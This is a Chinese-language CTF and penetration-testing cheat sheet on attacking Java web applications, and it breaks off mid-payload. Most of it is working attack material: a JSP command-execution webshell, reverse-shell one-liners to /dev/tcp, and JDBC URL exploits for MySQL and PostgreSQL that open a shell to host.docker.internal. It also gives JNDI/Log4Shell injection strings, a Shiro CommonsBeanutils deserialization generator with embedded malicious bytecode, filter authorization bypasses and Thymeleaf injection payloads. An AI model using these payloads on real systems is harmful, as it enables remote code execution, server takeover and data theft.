Java绕过

常用

文件结构

Tomcat

项目结构

WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中,如 /WEB-INF/classes/com/wm/ctf/FlagController.class

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件

/WEB-INF/database.properties:数据库配置文件

其他文件

[WEBROOT]/conf/tomcat-users.xml:用户配置文件

[WEBROOT]/conf/server.xml:服务器配置文件

JSP一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
// 命令执行基本代码
Runtime r = Runtime.getRuntime();
Process p = r.exec(...);
p.waitFor();

// 多参数
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});

// 单参数
Process p = r.exec("bash -c bash${IFS}-i${IFS}>&/dev/tcp/ip/port<&1");
Process p = r.exec("bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1");
Process p = r.exec("bash -c $*|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1");
Process p = r.exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

java命令执行payloads

绕过

filter权限

常见的实现方式,在不调用Spring Security、Shiro等权限控制组件的情况下,会使用Filter获取请求路径,进行校验。

..//system/login/../../login/main.do

URL截断:/login/main.do;123

///system/main.do

URL编码:/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f

参考:

Java安全之Filter权限绕过

fastjson

参考:

https://github.com/safe6Sec/Fastjson

fastjson小于1.2.68全漏洞RCE利用exp

JDBC

JDBC URL Attack

JDBC 是 Java 用于操作数据库的接口,通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的

访问。

JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value

db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite。

db-name 是要使用的数据库名param 是要传入的参数,比如 user, password, 指定连接时使⽤的编码类型等等。

当 JDBC URL 可控时, 如果目标网站使用了旧版的数据库驱动,在特定情况下就可以实现 RCE。

mysql 驱动

结合⽹上⽂章可以构造对应的 jdbc url:

jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

mysql jdbc 利用工具:

mysql-fake-server

rogue_mysql_server

参考payload(url部分url编码):

?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}&password=123

postgresql 驱动

起⼀个 http 服务器, 构造 xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-
d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>

参考payload(url部分url编码):

?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123

参考:

MYSQL JDBC反序列化解析

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)

PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析

0xGame 2023 Week 4 - TestConnection

JNDI注入

JNDIExp

  1. 在VPS上启动工具,利用时讲ip替换为实际VPS的IP地址。

  2. ${jndi:ldap://127.0.0.1:1389/basic/${java:version}}

    使用 ${java:version} 获取到目标服务器上的java版本(仅仅适用于Log4j2漏洞利用,fastjson等其他漏洞可以跳过此步骤)

  3. JDK版本小于11.0.1, 8u191, 7u201, 6u211版本,可以直接使用basic模块

    1
    2
    3
    4
    5
    ldap://0.0.0.0:1389/basic/cmd  (无回显,需要进行url编码)
    ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port](反弹shell)
    ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port]
    ldap://0.0.0.0:1389/basic/memshell/[memshellType](内存马)

    JDK版本大于11.0.1, 8u191, 7u201, 6u211时,需要尝试使用利用链绕过,可以使用${jndi:ldap://127.0.0.1:1389/fuzzbyDNS/[domain]} 利用dnslog去判断哪些利用链可以进行利用(只需要发送一次请求)

    (反序列化链存在版本区别serialVersionUID会改变,通过dns请求可知目标可以使用el、groovy、BeanShell1反序列化、CC3.2.1反序列化、CB192等等利用模块)

  4. 选择其中一个利用链进行利用。

CVE

CVE-2021-44228 (log4j2 rce)

welk1n/JNDI-Injection-Exploit

服务端:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>

注入 jndi,触发报错日志记录:

${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}

log4j2 远程加载 Class 类 反弹 Shell。

Shiro

未授权访问

  • <1.5.2

    Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。

    /;/admin/xxx/...;/admin

    /;/actuator/heapdump 下载dump,使用visualvm分析,得到shiro的加密密钥

反序列化

  • 通用

    • 打cb1

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      import java.io.ByteArrayOutputStream;
      import java.io.ObjectOutputStream;
      import java.lang.reflect.Field;
      import java.util.Base64;
      import java.util.PriorityQueue;

      import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
      import org.apache.commons.beanutils.BeanComparator;

      public class CommonsBeanutilsShiro {
      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
      }

      public static void main(String[] args) throws Exception {
      // TemplatesImpl obj = new TemplatesImpl();
      // setFieldValue(obj, "_bytecodes", new byte[][]{
      // ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
      // });
      // setFieldValue(obj, "_name", "HelloTemplatesImpl");
      // setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

      final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
      // stub data for replacement later
      queue.add("1");
      queue.add("1");

      setFieldValue(comparator, "property", "outputProperties");
      setFieldValue(queue, "queue", new Object[]{obj, obj});

      // ==================
      // 生成序列化字符串
      ByteArrayOutputStream barr = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(barr);
      oos.writeObject(queue);
      oos.close();
      byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
      System.out.println(new String(expcode));
      }
      }

Springboot actuator

Springboot actuator配置不当导致API安全问题。

API扫描工具:APIKit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/actuator/autoconfig 应用的自动化配置报告
/actuator/heapdump 应用实时的JVM堆信息(结合JDumpSpider获取内容)
/actuator/beans 应用上下文创建的所有 Bean
/actuator/configprops 应用中配置的属性信息报告
/actuator/env 环境属性报告
/actuator/mappings SpringMVC 的控制器映射关系报告
/actuator/info 自定义的配置信息
/actuator/metrics 当前应用的各类重要度量指标
/actuator/health 应用的各类健康指标信息
/actuator/threaddump 用来暴露程序运行中的线程信息
/actuator/httptrace 显示HTTP跟踪信息(默认显示最后100个HTTP请求)
/actuator/scheduledtasks 计划任务

/actuator/jolokia JMX-HTTP桥接器(XXE-SSRF)

参考:Spring Boot Actuator 未授权的测试与利用思路

Thymeleaf

Thymeleaf模板注入

1
2
3
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...

参考:

Java安全之Thymeleaf 模板注入分析

Mybatis

mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入。

OGNL表达式注入RCE:

`/vote/getDetailedVoteById?vid=3) union select null,”$